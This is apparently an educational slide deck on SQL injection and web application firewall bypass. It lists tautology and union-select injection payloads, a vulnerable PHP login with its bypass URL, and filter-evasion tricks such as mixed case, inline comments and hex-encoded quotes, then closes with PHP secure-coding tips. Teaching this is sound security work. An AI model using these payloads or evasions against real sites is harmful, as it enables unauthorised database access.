23
All Ab0ut 0f SQL Injection and WAF Bypass Techniques THATSANAI DETDAMRONGPREEECHA COMPUTER SCIENCE @ KING MONGKUT'S INSTITUTE OF TECHNOLOGY LADKRABANG

All Ab0ut 0f SQL Injection and WAF Bypass Techniques

Embed Size (px)

DESCRIPTION

All Ab0ut 0f SQL Injection and WAF Bypass Techniques. Thatsanai Detdamrongpreeecha Computer science @ King Mongkut's Institute of Technology Ladkrabang. What is SQL Injection ?. Sql injection is code injection Happened when user Inject sql command for change condition - PowerPoint PPT Presentation

Citation preview

Page 1: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

All Ab0ut 0f SQL Injection and WAF Bypass Techniques

THATSANAI DETDAMRONGPREEECHA

COMPUTER SCIENCE @ KING MONGKUT'S INSTITUTE OF TECHNOLOGY LADKRABANG

Page 2: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

What is SQL Injection ?

Sql injection is code injection

Happened when user Inject sql command for change condition

because develop not filtered input from user

Page 3: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

Logical Conjunction and Disjunction table

Page 4: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

SQL Operator

And , &&

Or , ||

Like

*

( , )

< , >

+, - , *, /, %

Page 5: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

SQL Comment

end of the line

"#"

"--"

"-- "

multiple line

/* */

Page 6: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

Examples

vulnerability and inject command

Page 7: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

sql command :

SELECT first_name, last_name FROM users WHERE user_id = '$id‘

Inject code :

SELECT first_name, last_name FROM users WHERE user_id = '1‘ or ‘1’SELECT first_name, last_name FROM users WHERE user_id = 'am’ or ‘am’SELECT first_name, last_name FROM users WHERE user_id = ' ‘ or ‘1’=‘1’SELECT first_name, last_name FROM users WHERE user_id = ' ‘ or ‘2600’=‘2600’SELECT first_name, last_name FROM users WHERE user_id = ' ‘ or ‘HELLO’ or ‘HELLO’SELECT first_name, last_name FROM users WHERE user_id = ' ‘ or 1 #’SELECT first_name, last_name FROM users WHERE user_id = ' ‘ or true #’

Page 8: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

sql command :

SELECT first_name, last_name FROM users WHERE user_id = $id

Inject code :

true‘1’ or ‘1’2 or 2

sql command :

SELECT first_name, last_name FROM users WHERE user_id = ($id)

Inject code :

1) or (12+3) or (5

Page 9: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

http://cs.ssru.ac.th/cs01/mae/Pae/ตั�วอย่�างและโปรแกรมที่��โหลดๆมา/Login_thaicreate/PHP MySQL ก�บLogin Form ที่�าระบบ User ล�อกอ�น แบบง�าย่ ๆ ด�วย่ PHP และ MySQL โดย่ที่�าการตัรวจสอบ Username และPassword.htm

Page 10: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

http://www.santosh143.com/2013/05/how-to-create-loginregister-system.html

Page 11: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

http://www.exploit-db.com/exploits/26405/

Page 12: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

http://www.exploit-db.com/exploits/26416/

Page 13: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

Example

$sql = "SELECT * FROM members WHERE password='".md5($_GET['password'])."' AND username='".$_GET['username']."'";

$result = mysql_query($sql, $db);

if ($result === FALSE)

die('Invalid SQL query');

if (mysql_num_rows($result) == 1) {

echo "Congrats, WIN!!!\n";

}

else {

echo "The number of rows is not 1\n";

}

login_sqli1.php?password=whatever&username='+or+1=1+LIMIT+1#

Page 14: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

Impact

Get Information in database

Can gaining access system

Etc.

Page 15: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

Bypass Web Application Firewall

Techniques

Page 16: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

What is Web Application Firewall

Web application Firewall ( WAF )

Software or Hardware

Emphasis in prevention on the website

Filters all data in application layer

Can detected and prevention website

Page 17: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

How to Bypass? Original

1’ or ‘1’=‘1

union all select 1,2,3,4,5 –

union all select 1,2,@@version,4,5 –

Solution 1’ oR ‘1’=‘1

uNIon AlL sELeCt 1,2,3,4,5 –

u/*2600*/ni/*12345*/on a/*..*/lL se/*AAAA*/lEct 1,2,@@VerSIon,4,5 --

Page 18: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

How to Bypass? (cont.)

If Filter or , and

Solve : Using || instead of or

Using && instead of and

Page 19: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

How to Bypass? (cont.)

If Filter where

Solve : Using limit instead of where

If Filter limit

Solve : You can Using group by and having instead of where

Page 20: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

How to Bypass? (cont.)

If Filter whitespace

Solve : Using %0b instead of whitespace

If Filter ‘

Solve : Using 0xXX , unhex(xx) instead of ‘

Page 21: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

How to Mitigation

Page 22: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

Top 5 Secure Coding Tips for PHP applications

Filter Input Data GET , POST , COOKIE

Securing Database Queries

Filter Output Data htmlspecialchars()

htmlentities()

strip_tags()

strtr()

Error Handling log_errors = On

display_errors = Off

Preventing other injection attacks

Page 23: All Ab0ut 0f SQL Injection and WAF Bypass Techniques

References and Appendix

www.owasp.org

http://palpapers.plynt.com/issues/2009Dec/secure-coding-php/

http://dev.mysql.com/doc/refman/5.0/en/non-typed-operators.html

http://thtutz.blogspot.com